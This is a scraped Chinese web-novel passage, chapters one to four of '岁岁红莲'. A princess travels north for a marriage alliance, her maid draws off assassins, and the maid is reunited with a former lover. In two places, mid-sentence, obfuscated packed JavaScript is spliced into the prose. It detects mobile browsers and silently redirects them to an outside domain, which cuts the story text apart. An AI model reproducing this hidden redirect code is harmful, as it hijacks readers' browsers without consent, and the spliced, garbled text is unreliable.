《岁岁红莲》 1. 澹月芙蕖(一) 上京,大雍都城。 北地的春天总是来得格外的迟。宫道两旁楸木参天,几只飞鸟栖在严霜覆盖的枝桠上,没精打采地梳理着自己的羽毛。唯有桃树枝头的几抹新绿,挣扎出零星的一点儿生气来。 一辆精致的厌翟车自远处缓缓驶来。车前的四匹骏马通体雪白,一阵风拂过,马车四角挂着的青鸾铜铃便发出一阵清脆的叮铛声,如环佩嘤鸣,煞是好听。 熏风撩起车帷,一只纤纤素手自车内探出,撩起一个引人遐想的弧度。 冷肃的寒风刮过,那手的主人冻得一激灵,阿嚏一声,接连打了好几个喷嚏,连忙将手缩了回去。 车内传来一声轻笑:“上京不比金陵暖和,殿下仔细着凉。”说着,便伸手将那烟紫色的帷幕合上,将道旁行人好奇的目光尽数挡在了车外。 江婳拢紧了身上的貂裘,悻悻地收回了视线。 她耷拉着脑袋,嘴里低哝:“都四月了,为何上京还这般冷?” 在金陵,四月正是柳条吐绿,繁花锦簇的时节,只需要穿一件单衣即可。如今到了上京,她却裹着厚厚的貂裘,像一只笨重的狗熊。 秦淮月抿唇,替她理了理被风吹得凌乱的头发,温声道:“北地自然同我们南方不一样。以后,上京便是殿下的家了,殿下可要提前适应才是。” 江婳的眼神暗了下去,轻轻咬了咬唇。 一想到从此以后,自己就只能孤孤单单地呆在这鸟不生蛋的地方,再也回不了家,她便忍不住鼻子一酸,眼眶一热,埋着头小声抽泣了起来。 秦淮月叹了口气,伸手将她抱进怀里,一下一下轻轻拍着她的背。 可怜的小公主,小小年纪便背井离乡。 江婳今年才十八岁,从小被家人娇养着长大。这还是她头一回离开金陵,渡过长江,来到这寒冷陌生的北方。 当今天下二分,以淮水为界。大雍雄踞北方,兵强马壮,民风粗犷,尚武好斗;南邺偏安一隅,重文轻武,军备废弛,频吃败仗。 今年开春,南邺皇帝驾崩,江婳的皇兄登基。新帝初登大宝,为了安抚蠢蠢欲动的北雍铁骑,一道圣旨下来,令其亲妹永安公主北上和亲,嫁与北雍皇帝闻熙为后。 江婳顾不上反对,就被套上嫁衣,匆匆塞进了婚车,一路马不停蹄地往上京去了。 和亲的旅途漫长,从金陵到上京,足足三个月的路程。 江婳从小生活在温暖的南方,难以适应北雍的严寒。每天夜里,她总要被冻醒几回。好不容易重新睡下,又时常被噩梦魇住,娇气的小公主便哭唧唧地到处找人求安慰。三个月来,连累着秦淮月也没睡过一天好觉。 江婳愈想愈伤心,抱着秦淮月,哭得肩膀一抽一抽的,索性放声号啕起来。 “我不想嫁……我想回家,呜呜……” 秦淮月摸了摸小公主的脑袋,笑道:“没事儿,有奴婢陪着公主呢,天塌下来,奴婢也帮公主顶着。” 江婳揉着一双红通通的眼睛,有些不好意思,“阿月,谢、谢谢你啊……” 三个月来,江婳已经习惯了信任、依赖这个姑娘。如果没有秦淮月,她还不知道要怎么捱过这漫长的日子呢。 秦淮月笑眯眯的:“都是奴婢应该做的。奴婢是殿下的人,自然要为殿下找想啊。” 江婳眸光轻闪,点了两下脑袋。 “殿下,前面不到三里,便到驿馆了。”樊锡驾着马在前头领路,听到马车里传来的哭声,忍不住回头提醒。 江婳颔首:“本宫知道了,劳烦樊将军引路。” 樊锡是北雍派来迎亲的将军,自她们渡过长江后,这一路上都是他负责护卫,江婳与他也算是熟识。 樊锡颔首,一夹马肚,吁喝了一声,加快了行车的速度。 护卫在马车四周的士兵也紧跟着加快了步伐。 江婳垂下眼睫,眉目舒展开来。到了驿馆后,总算可以好好休息一阵了。 忽然,一声巨响在马车前方炸开,空气中传来一股浓烈的硝璜味道,黑烟弥漫开来,惊得最前方的马儿发出一声嘶鸣,险些将骑在它身上的士兵给撂倒。 整队人马一下子惊慌失措起来。 樊锡拽紧了缰绳,吹响长哨,示意士兵停止前进。 江婳怔忡道,“这是怎么了?” 秦淮月暗暗皱起眉梢。 外面这个阵仗,只怕是碰上劫匪了。 在这上京城内,谁这么大的胆子,敢来劫和亲公主的车驾? 马车外,士兵们皆屏息凝神,死死地盯着前方,不敢漏出一丝声气儿。 等了半晌,也不见周遭有什么动静。 江婳松了一口气。 下一刻,无数漆黑的羽箭破空而来,裹挟着凛冽劲风,如同密雨一般,铺天盖地地向马车袭来! 士兵们大惊,连忙拔剑格挡,一时间叮叮当当的金属碰撞声不绝于耳。 几十个黑衣人手执刀剑,悄无声息地向他们包抄过来。 樊锡挥剑挡下几支射向他面门的冷箭,大喝一声:“哪里来的杂碎!也敢来劫永安公主的车驾!” 重重烟幕下,一个黑衣人手持冷剑,脚步沉重,不紧不慢地向这边走来。 他身量极高,宽大的衣袍被风吹得斗折,周身带着一股森然凌厉的压迫感,负手立在马车十几丈处。 樊锡眯起眸子,锐利的目光紧紧盯着那人:“你是何人?竟敢在天子脚下撒野?” 黑衣人冷笑: “找死。” 樊锡勃然大怒,“竖子休要猖狂!” 他回头冲马车吼道:“殿下!躲在里面,不要出来!” 说罢,樊锡足下一蹬,纵身跃下马去,挥手一剑劈向那人。 士兵们纷纷拔剑,与那群黑衣人缠斗在一起。 车身忽然剧烈地摇晃起来,咻的一声,一支羽箭穿透了马车的帘帏,冲着江婳的眉心而来! 江婳吓得尖叫起来,秦淮月瞳孔紧缩,抱着江婳堪堪避开。 刺啦一声,她胳膊上的衣裳瞬间被羽箭划破,温热的血珠儿一连串飙出,溅到了江婳的脸上。 江婳浑身哆嗦着,喉咙阵阵发紧,放声哭了起来:“阿月!我们该怎么办?!” 秦淮月抱着她的后脑勺,将她护在怀里。 她绷紧了唇,脑海中嗡嗡作响。 她总觉得,刚才那个黑衣人的声音有些耳熟,仿佛在哪里听过似的。 车外的喊杀声此起彼伏,黑衣人的攻势越发凌厉凶猛,刀光剑影交织,渐渐有血珠儿飞溅,时不时听到刀剑刺入皮肉的闷响。 霎那间又一阵暗箭齐发,叮叮噔噔被士兵的刀剑挡下。 这样下去不是办法。 秦淮月一咬牙,将头上的簪子猛地拔出。 沉甸甸的青丝倾泻下来,遮住了大半如花容颜。 她强自镇定,沉声道:“殿下,把袍子给我。” 说着,便手脚麻利地去扒江婳的衣裳。 江婳整个人还是懵的。她伸手扶住头上摇摇欲坠的凤冠,眼神直愣愣的:“你,你这是做什么?” 秦淮月握住江婳的肩,一双杏眸中透露出不容置疑的决绝,“殿下,把衣裳给我。无论接下来发生什么,你都给我好好待在车里,不许出来!听到没有?” 江婳吓得花容失色,眸中泪水涟涟,扯着秦淮月的袖子哭道:“不、不行……阿月你别走!我怕……我一个人怕……”说着,就要跟她一起跳下马车。 秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319196|167397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淮月猛地回头,一把推在她的肩上,将她狠狠推倒在坐垫上。 她厉声呵斥:“不许哭!不许出来!” 她将那血红的嫁衣披在身上,转身掀开车帘,如同一朵轻盈的曼珠沙华,纵身从马车上跳了下去。 落地的一瞬间,秦淮月终于看清了马车外的形势。 天边残阳似血,朱红的晚霞抹了她一身。 马车周围,横七竖八地躺着数十具尸首,空气中弥漫着一股浓浓的血腥味儿,让人几欲呕吐。 秦淮月颤巍巍地立在一片血污之中,一头长发在膝前飘荡,她朱唇微张,眼尾泛红,浑似浴血的艳鬼。 一袭红衣被风吹得猎猎作响,勾勒出少女妖娆的躯体。 樊锡大惊,“殿下!快回去!” 黑衣人趁他分神,一剑迅速地刺了过去,猛地贯穿了他的肩胛骨。 樊锡吃痛,举刀劈向那黑衣人,却被他反手一挡,将樊锡的剑压下。巨大的力道沿着剑身袭来,震得樊锡手腕发麻,他冷不防一松手,手中的剑便哐啷一声掉在地上。 樊锡双膝一软,捂着肩上的伤口,跪倒在地。鲜血淅淅沥沥,自他胸前蜿蜒而下。 黑衣人唇边掠过一抹冷嘲,举剑欲刺。 他身后传来下属惊惶的喊声:“大人!永安公主跑了!” 黑衣人拿剑的手一顿,抬起视线。 远处,那一抹赤色越跑越快,很快便消失在残阳尽头。 他毫不犹豫,冷冷吐出一个字:“追!” 秦淮月提着裙子,使出全身的力气,向着城外的密林飞奔而去。 她跑得青丝凌乱,胡乱在额前抓了几把,用头发遮住自己的脸。若是那几个黑衣人发现,自己是假冒的公主,江婳和樊锡他们就有麻烦了。 秦淮月一路跌跌撞撞,胸脯剧烈地起伏着,身形如同鬼魅一般,将耳畔呼啸的风声尽数甩在身后。 几个黑衣人拿着弓箭,很快便追了上来,桀桀狞笑道:“永安公主!你跑不掉的!” 说着,黑衣人挽弓,对着秦淮月的方向,朝她脚下射了一箭。 秦淮月的心脏狂跳,连忙闪身躲开,一不小心踩到长长的裙摆,左脚绊右脚,狠狠地摔倒在地。 下一瞬,一支羽箭倏地袭来,几乎是擦着她的脸飞过,刮破了秦淮月白嫩的脸颊。 秦淮月痛叫了一声,挣扎着从地上爬起,踉跄着往林中撞去。 电光火石间,一道黑色的身影忽然从林中窜出,与她擦肩而过,飞身上前,同那几个黑衣人缠斗在一起。 几个黑衣人也是一惊,忙拔出刀剑,迎了上去。 秦淮月来不及反应,趁黑衣人与那道影子打斗之际,飞快地往林间跑去。 冰冷的风直往她喉咙里灌,呛出一阵嗽意。 她步子迈得飞快,只觉得心都跳到了嗓子眼。 不知过了多久,直到身后的黑衣人消失得无影无踪,秦淮月才停了下来。 她胸口不停地起伏着,忍不住剧烈地咳嗽起来。 秦淮月咳得闪出了泪花,胃里酸水不断上涌,充斥着整个口腔。她扶着一块山石,哇地吐出了一口酸涎。 秦淮月抬手,揩了揩唇角,在心里苦笑道,她真是好久没有这么狼狈过了。 也不知道樊锡搬来救兵没有。 她清了清嗓子,将喉咙中的痰咽了回去,正欲转身,一只大手却紧紧捂住了她的嘴。 接着,她的腰身被人揽住,使劲儿往后一拽。 秦淮月睁圆了眼,下意识想要开口喊人: “救命——” 那人的手却如同铁铸一般,将她紧紧箍住。秦淮月脚下踉跄,忍不住往后退了一步,小腿一弯,竟跌入一个温暖的怀抱。 2. 澹月芙蕖(二) 她的脊背撞上男人坚硬的胸膛,一阵酥麻的热意如同电流一般,瞬间从她的脚底窜了上来。 秦淮月浑身颤抖,这才发现,她背上的衣裳已然被冷汗浸透。 一只白皙的手拢住了她的下巴尖儿,将她拉近。 男人清冽的气息拂落在她耳廓,温温热热的。一个熟悉的声音缓缓开口,带着安抚的意味:“别怕,是我。” 这个声音…… 秦淮月回头,与他四目相对。 身后的男人肤色冷白,五官深邃,锐气逼人,眼角眉梢俱是风流蕴藉。薄唇微微抿着,俊逸的侧颜如同天神一笔一笔精雕细刻而成,端的是俊美无俦。 他的左眼下方,卧着一粒小小的朱砂红痣,如同南国的相思豆,眸光眨动间,妩媚多情。 秦淮月凝在原地。 是他。 她眸中盈满了泪水,顷刻间模糊了他的面庞。 她抬手使劲揉了揉,不可思议地喃喃道:“晏、晏筠……” 晏澄洲的眸子泛起星点光亮,揽住她的腰肢,将她抱入怀中。 他将下巴搁在她的发顶,轻声呢喃:“小月儿……” 秦淮月的睫羽簌簌抖动,身体不受控制地颤抖着。 他唇边泛起笑意,拈起她头上的一片枯叶。两指一松,那树叶便在风中打了几个转儿,悠悠飘落在地。 晏澄洲幽幽叹道:“怎么把自己搞成这个样子……” 他声音轻飘飘的,嗓音温润,带着一丝她五年不曾享受到的温柔。 秦淮月眼眶一酸,竭力压住喉咙中的哽咽。她颤着声音:“你、你怎么……” 她本来想问,你怎么在这儿,可心里的委屈却不听话地涌了上来,忍耐彻底决堤。 秦淮月嘴唇动了动,她再也忍不住,索性扑到他怀里,哇的一声哭了出来。 晏澄洲阖上眸,宽厚的掌抚上她的后脑勺,轻轻揉着她的发。 “我的小月儿……” 秦淮月抱着他的腰,小脸埋得更深,哭得一抽一抽的,压抑的声音支离破碎,如同猫儿呜咽。 晏澄洲没有打断,也没有出言安慰,只是静静地抱着她,让秦淮月尽情发泄情绪。 秦淮月哭了许久,方才止住泪水,怔忡地看向他。 晏澄洲目光温柔,抿唇道:“哭够了?” 她仰起头,泪眼朦胧地望着他,犹豫地点了两下脑袋。 她的手仍然紧紧地环着晏澄洲的腰,不肯松开,“刚才,在林中,是你救的我?” 晏澄洲摸了摸她的脑袋,没有说话,算是默认。 “那些黑衣人呢?” “都被我处理干净了。”晏澄洲眸光闪烁,轻声道。 秦淮月点了点头,眸中含着担忧,问道:“晏筠,你可有受伤?” 晏澄洲笑了笑:“放心吧,那些个不成器的杂碎,还近不了我的身。” 秦淮月仍是不放心:“你坐下,给我看看伤。” “不用。”他推脱。 秦淮月瞪了他一眼,“晏筠,你是不是不听话了?” 晏澄洲愣了愣,轻笑着摇了摇头,“好月儿,我知错了。” 他乖乖地盘腿坐下,主动撩起袖子,将胳膊递到她面前。 秦淮月抓过他的手,仔细检查了一番,他手臂上只是擦破了几处皮,并没有流血。 她这才放下心来。 “身上呢,可有被伤到?” 她伸手,还想往别的地方探去,晏澄洲脸色一沉,连忙截住她的手。 他下手没个轻重,五指狠狠掐在她的腕上,掐出一片红印。秦淮月疼得拧紧了眉,“疼!快松开!” 晏澄洲这才松开手,脸上写满了歉意:“抱歉,弄疼你了。” 秦淮月揉着发红的手腕,在他身边坐下。 晏澄洲竟有些局促,目光闪烁着,手脚一时不知往哪里放。 秦淮月歪着头,仔细打量着眼前的男人。 他的五官本就深邃,眉眼宛如刀裁,历经岁月的打磨,线条愈发凌厉,入木三分。周身的气质却再不复五年前那般恣意轻狂。一双星眸微微敛着,像是一只温顺的狸奴,小心翼翼地收敛着自己的爪牙,不敢流露出丝毫的锋芒。 浮华与谦卑,在这张脸上极为痛苦地交汇着。 虽然他极力掩饰,但秦淮月还是敏锐地察觉到,他眼底压抑着极大的痛苦,仿佛有熊熊赤焰灼烧,快要把他撕碎。 “月儿”,晏澄洲伸手,在她眼前挥了挥,勉强挤出一个笑道:“怎么,许久没见我,看傻了?” 秦淮月哽住,一时有些心酸。 她问道:“大老爷呢?” 晏澄洲是晏家二房的独子,秦淮月口中的大老爷,是晏澄洲的伯父晏守川。 晏澄洲仿佛被蝎子蛰了一口,心尖传来一阵刺痛,他手背隐隐发抖,不自觉攥紧了拳。 晏守川的名字,已经五年未有在他面前提起过了。 秦淮月不由得瑟缩了一下,嗫嚅道:“晏筠……” 晏澄洲侧头看她,眸中情绪翻涌,寒津津的声音如同数九寒天的冰凌:“死了,他五年前就死了。” 他似乎意识到自己的失控,嘴角抽搐了几下,换了个话题:“我母亲可安好?” 秦淮月垂下眼睫,轻轻摇了摇头。 “也是。覆巢之下,安有完卵。”晏澄洲苦笑。 秦淮月的心被一只无形的手狠狠揪住,一股惶然的凉意自心底渗出。 “晏筠,这些年你……” 她刚想开口,却被晏澄洲打断:“你身上还有伤,我送你回去吧。” 他眼神淡漠阴翳,“那些人,为何杀你?” 秦淮月摇头:“他们要杀的不是我,是永安公主。” 她望了望天边正徐徐西坠的太阳,又接着道:“唔,你送我回驿馆吧,我是公主的陪嫁宫人……婳婳,呃,永安公主,她一向很粘我,我不在,她一个人又要哭了。” 晏澄洲点点头,弯下腰,将秦淮月打横抱起,稳步向宫城的方向走去。 秦淮月跑得不远,晏澄洲速度又快,不消半个时辰,两人便到了驿馆。 这里刚刚才经历过一场刺杀。驿馆四周巡逻的守卫明显增加了不少,巡防愈发周密,将整个驿馆包围得密不透风。 秦淮月下意识看向晏澄洲:“这里戒严,我自己进去便好,你快走吧。” 晏澄洲道:“不必。” 他将秦淮月放了下来,一手扯下腰间的牙牌,牵着她径直向驿馆走去。 秦淮月忍不住去看那令牌上的字,可四周光线太过昏暗,晏澄洲的动作又快。那刻着花纹的牙牌在她面前一晃而过,便被他紧紧攥在了手里。 守在驿馆门口的士兵见晏澄洲来了,不等他出示令牌,便忙不迭向他躬身行礼: “晏大人。” 晏澄洲颔首,眼神淡淡落在秦淮月身上,“这是永安公主的侍女,伤得不轻。” “今日,公主在城外遇刺,负责护送公主进京的是谁?这一处的巡防又是谁在管?” 两个士兵面面相觑。 “哎呀!大人!哪阵风把您吹来了?” 樊锡被两个士兵搀扶着,左肩缠着厚厚一层纱布,脸上犹有血污,脚下一深一浅,腆笑着向晏澄洲唱 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樊锡挠了挠头:“秦姑娘放心,永安殿下她没事。那些贼人叫你引开大半,剩下的都是些不足为惧的虾兵蟹将。殿下躲在车里,只是受了些惊吓,现在已经歇下了。” 秦淮月这才放心。 “阿月,阿月!” 江婳哭得梨花带雨,如同一只小雀,扑棱棱地从驿馆中飞了出来,哭着一头扎进秦淮月怀里。 “呜呜呜呜……阿月,你跑哪里去了?我以为你要不要我了……你,你这混蛋……” 秦淮月连忙给樊锡递了个眼色。 樊锡会意,退了下去。 江婳显然吓得不轻,埋在她怀里不停地啼哭。脸上的妆都哭花了,留下一道一道的红痕。她头发胡乱地散着,钗环歪七扭八地插在发间,看上去有些滑稽。 秦淮月轻轻在她额头上戳了一下,“殿下又骂奴婢了。” 江婳恨恨道:“你答应我的,你说话不算数。” 秦淮月哧笑出声,“好了,殿下,奴婢没事,奴婢这不是全须全尾地回来了嘛。” 江婳拉着她,目光在她身上来回逡巡。 秦淮月的脸上、脚上又添了几道新伤,伤口处破了皮,雪白的肌肤上,几道鲜红的血痕格外明显。 小公主的眼睛红了,她踮起脚来,轻轻往她脸上呵了两口气,嗓音甜糯:“阿月,你疼不疼?” 秦淮月柔声道:“不疼的。” “骗人,怎么可能不疼……”江婳小心翼翼地用手指着那伤口,“我小时候,有一次贪玩,从父皇宫里的柳树上摔了下来,手上磕破了好大一块皮,可疼了。” 她抬手,水葱般的手指刮了刮秦淮月的眼睑:“你是不是哭了?” 秦淮月欲盖弥彰地揩了揩泪,“没有。” 江婳撇撇嘴,“还嘴硬。” 眼圈红成那样,她又不是瞎子。 “啊,对了阿月,你是怎么回来的?那些黑衣人又是从哪里来的,为何要杀我们?” 秦淮月不禁向身后看去。 樊锡被两个士兵搀扶着,立在不远处。驿馆外的宫道上,走过一队举着火把的士兵。 残阳如血,落霞似霰。 江婳凑了过来,“阿月,你在找谁?” 秦淮月笑了笑。 “啊……是我的一位故人。” 方才他说,上京城里不养无用之人。 那他晏澄洲,在北雍担的,又是个什么角儿? 3. 澹月芙蕖(三) 月上中天,透过雕花楹窗的缝隙,洒下些许银光。 窗前立着一柄青铜莲纹烛台,一朵火焰在其间猝然炸开,发出哔剥的响声。 江婳闭着眼趴在柔软的丁香弹丝锦被上,一头乌发湿漉漉地披在身后。洗完澡后,身上每一寸肌肤都散发着热气,有种说不出的舒爽。 屋内烛影晃动,点点光晕在她的娇靥上浮动,将雪白的颈晕成了樱桃般的蜜色。 她两手托着腮,乌黑的睫毛整整齐齐地贴在卧蚕上,一双雪足未着袜履,在空中晃来晃去,一副十足的小女儿情态。 秦淮月坐在榻边,一边给自己上药,一边笑道:“殿下,明日就要入宫了。早些歇息吧。” 江婳翻了个身,一双乌溜溜的眼睛望向她,眼神认真: “阿月,你实话告诉我,今天救你的那个人,是不是晏公子?” 秦淮月低头:“殿下猜到了?” 江婳苦笑,“除了晏四公子,你在北雍,还能有什么故人?” 秦淮月笑了笑:“殿下比奴婢想象的要聪明呢。” 说起金陵晏家,那可是南邺出了名的簪缨世族。 晏家这一辈有两位老爷,一位受封骠骑将军,一位任尚书左丞,为天子宠臣,可谓荣极一时。 秦淮月入宫前,曾是晏家的家奴。虽担着一个奴婢的身份,吃穿用度比起普通人家的小姐来,却也差不了多少,全因她与晏家二房的公子晏澄洲一同长大。 秦淮月是晏澄洲乳母秦氏的养女,两人年纪差了四岁。秦淮月尚在襁褓里的时候,晏澄洲就喜欢围着她转,妹妹长妹妹短,什么好吃好玩的都拿给她,成日同她腻在一处。 青梅竹马,日久生情。 等二人年龄到了,秦淮月自然而然地成了晏澄洲的通房。整个晏府,没有人不夸她命好。 秦淮月虽只是个通房,但同晏澄洲一起长大,两人情分不比寻常。只要晏澄洲的心还在她身上,将来诞下个一儿半女,有了子嗣撑腰,应是一生无虞。 可坏就坏在,五年前,晏澄洲随伯父晏守川出征北雍,在荆州兵败,被当时北雍的将领,也是北雍的大司马大将军贺衍生擒,两人被俘北上。 南邺历来奉行重文轻武的政策,武将少之又少,晏守川是当时唯一能够领军与北雍铁骑正面对抗的将领,素有江东骐骏的美名,如今却落到了北雍的手里,成了贺衍的阶下囚。 晏守川被俘后,让一向对其恨之入骨的北雍人摩拳擦掌,恨不得嚼其肉,削其骨,抽其筋,以泄积攒多年的心头之恨。 北雍人用尽了各种手段,终于使这二人双双折了傲骨,弯了脊梁,向北雍俯首称臣。 两人投降的消息传回南邺,惹得先皇大怒,下旨诛晏守川九族。 荣极一时的金陵晏家,就此陨落。 晏府男丁皆人头落地,就连年纪最小的小公子晏安也没能幸免;女眷则被送入宫中,没入奴籍。 秦淮月就是这样进了掖庭,一开始在浣衣局当值,后又辗转到了江婳身边。 五年间,她身为罪臣之妇,将人间种种颠沛心酸之事都尝了个遍。若不是江婳庇护,秦淮月只怕早就消弭在了那座冰冷的掖庭宫中。 所以,秦淮月由衷地感谢江婳。 娇生惯养的小公主,明明有着何不食肉糜的底气,却怀着一颗悲悯之心,试图用她稚嫩的羽翼为她遮风挡雨。 思及此,秦淮月的眼中氤氲出些许水汽。 她此刻莫名地难过,不知道是为自己,还是为晏澄洲。 江婳咬了咬唇,歉疚地道,“阿月,对不起啊,我又把你惹哭了。” 秦淮月笑笑,“不怪殿下。” 江婳收回视线,半晌,又徐徐转过头来,迟疑道:“阿月,你很想晏公子吧?” 秦淮月没有否认,叹息道:“是啊。” 江婳哦了一声,眸子眨了眨,脆生生地笑了起来:“阿月,你是不是很喜欢晏公子呀?他也一样喜欢你吗?” 秦淮月耳梢腾起一股热意,脸上红霞蔓延。 江婳弯起唇角,将秦淮月的表情尽收眼底。 在她的印象中,秦淮月从来不是个喜形于色的人,她总是噙着淡淡的笑,很少生气,也很少流露出脆弱的情态。 这还是江婳头一次见到,她为男子红了双颊的模样。 两情相悦,真好呀。 江婳歪着脑袋,呆呆愣愣的,“阿月,你说,喜欢一个人是什么感觉啊?” “我长这么大,还从来没有喜欢过谁呢……” “啊不对,我喜欢父皇,喜欢母后,喜欢哥哥,也喜欢你。” 江婳一拍脑袋,连忙改口。 秦淮月咯咯地笑:“殿下,喜欢一个男子,跟喜欢你的父皇母后是不一样的。” “啊,这样啊……”江婳不禁闹了个大红脸,两手捂着脸,嘟囔道:“又丢人了。” “殿下还小,不懂这些也正常。”秦淮月笑她。 江婳反驳:“我不小了,马上就要嫁人了。” 说起嫁人,她的小脸瞬间垮了下来,垂头丧气地道:“怎么办啊阿月,明天,明天我们就要入宫了!我,我就要嫁人了……” 江婳一头栽倒在床上,瘫成了个大字:“我不想嫁人,不想嫁人!不想嫁人,呜呜呜……” “我一点儿也不想嫁人,那个皇帝叫什么来着?闻熙对吧……我都不认识他,听说,他比我还小一岁呢……” “他比我还小,竟然也要成亲了。母妃说过,皇帝可是要开枝散叶的,他知不知道怎么开枝散叶啊……” 江婳嘴里叽里咕噜的,蹦出一连串让人捧腹的话来。秦淮月被她逗得掌不住笑,弯着腰笑软了身子。 江婳眼睛狠狠一瞪:“笑什么!!” 秦淮月干脆伏在江婳的榻边,埋下头来,哧哧地偷笑。 江婳气得要上去挠她胳肢窝:“你不许笑,不许笑!” 秦淮月笑着求饶:“奴婢不笑、不笑……哈哈哈哈哈哈……” 江婳翻了个白眼,索性不理她了。 秦淮月笑够了,突然想起一个严重的问题。 开枝散叶这件事,好像不是皇帝做的,是由皇后来做的啊!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319198|167397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>秦淮月噌地起身,快步往窗边的雕花案走去,在她随身背着的口袋里掏来掏去,掏出了一本小册子,递到江婳手上。 薄薄的一本羊皮册子,上书四个大字:“风月宝鉴”。 江婳疑惑地接过,“这是什么?” “这就是教殿下怎么开枝散叶的书。”秦淮月神情严肃。 江婳皱起眉梢,随手翻开一页。 书上,两个小人以一种奇怪的姿势叠在一起,好像在做一些难以启齿的事。 江婳的脸噌地一下烧了起来。 她瞪圆了眼,将牙齿咬得咯咯作响:“阿、阿月,你学坏了!!” 秦淮月循循善诱,“这不叫学坏,这叫敦伦。夫妻敦伦,乃是天经地义。” 江婳神色惊恐,连连退后。秦淮月却不依不饶,举着那本小册子往她面上怼。 眼看那图上交叠的两个人在她面前越变越大,可怜的小公主嘴唇不住地哆嗦,窘迫得都要晕过去了。 “你,你你把它拿开……” 秦淮月道:“殿下,明天你就要入宫了,过几日可就要成亲了。你就算现在不学,过几日也是要学的。” 她把那本书翻到第一页,重新递到江婳手里:“书读百遍,其意自现。殿下,快看吧。” 意思就是,你逃不掉了,还是老老实实看书吧。 江婳的小脸一阵红一阵白,表情精彩极了。 给自己做了好半天的思想工作,她才冷战战地接过了那本册子。 秦淮月站在一边,一本正经地看着她。 江婳莫名觉得有些羞耻,“阿月,你,你背过去,不许看!” 秦淮月笑嘻嘻的,“奴婢十四岁就嫁人啦,不仅吃过猪肉,还见过猪跑呢!” 江婳瞪大了眼睛,“啊?那,那——” 她做贼心虚地往四周望了望,确定没有听壁角的,才凑到秦淮月耳边,小声道:“那你跟晏公子,是怎么开枝散叶的?” 江婳这么一问,秦淮月的脸也红了。 这死脑筋的小公主!她知不知道自己在说什么虎狼之词啊。 秦淮月支吾道: “殿下,开枝散叶这个词,不是谁都可以用的……” 江婳一脸认真地望着她,仿佛是在问一个再严肃不过的问题,“那你们是怎么,呃,就是敦伦,阿月,你明白我的意思吧?” 秦淮月额角的青筋跳得厉害,不禁感到一阵头疼,含糊道:“开枝散叶嘛,一开始是有些难受的,不过后来,就会舒服啦……” 江婳哦了一声,又接着道:“怎么个难受法?”她竟准备去掏笔墨,兴致勃勃地说:“阿月,我要不要做点记录,提前练习一下?万一到时候怯场……” “不、不用……反正,殿下你马上就知道是怎么一回事了……”秦淮月汗颜。 “再说了,就算你不会,你的皇帝夫君他肯定会。”她信誓旦旦。 有句话说得好,实践出真知嘛。 秦淮月不知道,这比江婳还小的北雍皇帝行不行。 反正当年在金陵,晏澄洲可是行得很。 4. 澹月芙蕖(四) 第二日,江婳进宫后,赞礼就开始紧锣密鼓地筹备起帝后大婚的事宜。 帝王嫁娶规矩森严,礼仪繁复,一点儿差错也不能出。江婳先跟着宫中教习礼仪的嬷嬷学了几日大婚流程,所幸她出身皇室,对这类大典并不陌生,学起来也还算顺利。 大婚当日,江婳乘着凤舆,由十二个銮仪卫护送着,一路浩浩荡荡,穿过无数道宫门,严格按照钦天监推算的吉时进行。 从授予金册,再到祭告天地,受群臣朝拜,一系列繁琐庄重的婚礼流程走下来,待到被女史们簇拥着进殿时,江婳已是身心俱疲。 凤仪宫内,灯火煌煌如昼。 殿内陈设皆以红纱点缀,鎏金折枝缠花纹烛台上,一对龙凤喜烛静静地燃烧着。烛火跳动的光晕透过纱帐,在室内铺开一层柔靡之色。 美人顶着凤冠霞帔,头戴朝阳五凤花钗冠,手拈红色帖金绣花蝶图面团扇,端端坐在铺着鸳鸯锦被的喜床之上。 虚掩着的盖头下,新娘的唇微微翕张,唇色嫣红,娇艳欲滴。 “珠帘绣幕蔼祥烟,合卺嘉盟缔百年。” “鸳鸯璧合,举案齐眉。燕侣双俦,永结同心。” 复杂的撒帐礼过后,殿内的宫人都纷纷退了下去,只留江婳一人在殿中。 隔扇门吱呀一声合上,殿内一阵岑寂。 江婳垂下眼睫,捏着扇子的指尖隐隐泛白。 进宫后,她被太后娘娘安排在凤仪宫中待嫁,连着学了几日大婚的规矩,还有嬷嬷专门来教导她,如何行那夫妻敦伦之事。 江婳这才晓得,秦淮月说的一点儿也没错。还好她提前看了几本避火图,有个心理准备。不然真到了洞房的时候,她临阵磨枪,效果必然不佳,肯定难受得死去活来。 今日大婚的礼仪实在繁琐,又是册封,又是祭祖,又是告庙的。江婳忙得晕头转向,加上又一直顶着沉甸甸的凤冠,她累得脖子都伸不直,连皇帝长什么样都没看清。 一会儿喝了合卺酒,就该洞房了吧。 殿外,一串脚步声沉沉响起,应该不止一人,声音十分嘈杂,向着她的寝殿走来。 江婳的心脏扑通扑通跳个不停。 她竖起耳朵,仔细听着外面的动静。 殿外守夜的宫人恭敬地唤了一声:“陛下。” 皇帝来了! 江婳一下子挺直了背,规规矩矩地坐好,乖得跟个鹌鹑似的。 殿门被宫人推开,廊下的红纱帖金灯笼微微摇晃,在殿前的玉墀上投下一片红晕。 闻熙一身大红喜服,在两个宫人的搀扶下,歪歪斜斜地走了进来。 他似乎醉得厉害,脚下步子凌乱,踉跄着走了好一会儿,才走到喜床前。 半晌,江婳头上的盖头被揭开了。 世界骤然变得明亮,烛光幽幽漫过纱帐,映出一张年轻男子的脸。 